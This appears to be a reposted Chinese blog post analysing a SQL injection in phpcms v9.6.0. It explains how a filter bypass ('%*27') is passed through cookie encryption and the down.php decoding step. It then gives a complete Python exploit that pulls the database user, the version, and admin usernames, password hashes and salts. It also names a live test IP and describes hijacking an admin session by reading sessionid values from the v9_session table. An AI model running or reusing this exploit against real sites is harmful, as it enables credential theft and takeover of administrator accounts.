1. 程式人生 > >phpcms_v9.6.0_sql注入與exp

phpcms_v9.6.0_sql注入與exp

phpcms_v9.6.0_sql注入分析

可疑的函式

localhost/phpcms/modules/attachment/attachments.php檔案的第241GET提交src變數帶上了safe_relace函式,現在我們跟入這個該死的過濾函式看看它到底在搞什麼鬼....*/

2.過濾函式剖析和繞過

localhost/phpcms/libs/functions/global.func.php檔案的63行開始可以看到此處將傳入的%27和%2527都進行刪除處理也就是還沒傳入資料庫前就已經被該死的程式吃了,但是在67行看到他還吃了*這樣我們就有辦法了也就是傳入%*27程式吃掉星號後%27就會被傳入。*/

3.src變數到底去哪了

/*這裡不做截圖請回到第一步的截圖檢視,在241行程式碼src傳入arr陣列後在243行被json_encode函式加密為json格式後傳入json_str陣列,然後在244行程式碼又將json加密為cookie。在這裡我做個大膽的假設src存在注入那麼我們要傳入引數:src=%*27 updatexml(1,concat(1,(user())),1)%23;那麼我們傳入的引數將會被json加密後最終成為了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然後就是cookie加密這裡不做計算cookie加密值需要的同學自己echo,假設暫且到這,它的最終這些動作都被賦值為swfupload_json函式。到此src變數故事以及完結請看下一章。*/

down.php的decode成全了我

/*在localhost/phpcms/modules/content/down.php的第14行程式碼將a_k變數進行了decode操作這樣子我們把剛剛在src進行加密的SQL傳入a_k他就會進行解密還原回json,17行 將json字串解析成變數 -> parse_str 以 & 區分,將字串解析成3個變數最後傳入SQL為:{“aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&”,”filename”:””};此處可以看到之前%*27的*沒了因為已經被安全函式吃了*。最後我們看在第26行程式碼將id傳入SQL欄位id既然這樣那就OK了我們嘗試還原。*/

phpcms_v9.6.0_sql注入還原

1.訪問/index.php?m=wap&c=index&a=init&siteid=1獲取一個cookie值傳入該死的src那塊操作否則會沒有身份

2.把這個cookie的值複製下來以POST傳入userid_flash變數訪問/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要問我URL編碼裡面是什麼東西我會告訴你那是SQL的Payload

3.上一步我們已經獲取到了通過json在通過cookie加密的SQL了因為他返回的cookie就是已經加密的SQLPayload現在我們傳入到a_k變數看看到底發生了什麼?

網上這個文件傳的很快,作者我也不知道是誰,大家都把版權改成自己的,我也是醉了!

下面是EXP:

import requests,sys,urllib

url = sys.argv[1]

print 'Phpcms v9.6.0 SQLi Exploit Code By Luan'

sqli_prefix = '%*27an*d%20'

sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))'

sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om '

sqli_password2 = '_admin li*mit 0,1)x))'

sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6'

setp1 = url + '/index.php?m=wap&a=index&siteid=1'

cookies = {}

for c in requests.get(setp1).cookies:

if c.name[-7:] == '_siteid':

cookie_head = c.name[:6]

cookies[cookie_head+'_userid'] = c.value

cookies[c.name] = c.value

print '[+] Get Cookie : ' + str(cookies)

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

table_prefix = html[html.find('_download_data')-2:html.find(	'_download_data')]

print '[+] Get Table Prefix : ' + table_prefix

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

exp也是別人分享給我的,看起來作者應該是luan

測試地址:122.9.16.209

成功截圖:

不過呢,眾所周知phpcms的密文特別難解密,所以有個配合使用的方法,通過sql注入漏洞讀取資料庫資訊,但是不能破解密碼的情況下,可以繞過後臺驗證,phpcms資料庫中表v9_session,儲存著管理員登入的資訊,而且欄位sessionid儲存著就是,已經登入管理後臺的PHPSESSID,可以通過sql注入讀取到這個值,並寫入到自己的瀏覽器中。

直接訪問後臺地址:

/index.php?m=admin&c=index&a=public_menu_left

將資料庫中的sessionid資訊帶入!

相關文章網上也有

最後,我還是覺得這個漏洞挺雞肋的

至於哪裡雞肋請看官細細體會

還有幾個更牛逼的漏洞也許

過幾天就會有人放出來了

反正我不做第一個吃螃蟹的人了

怕被打死~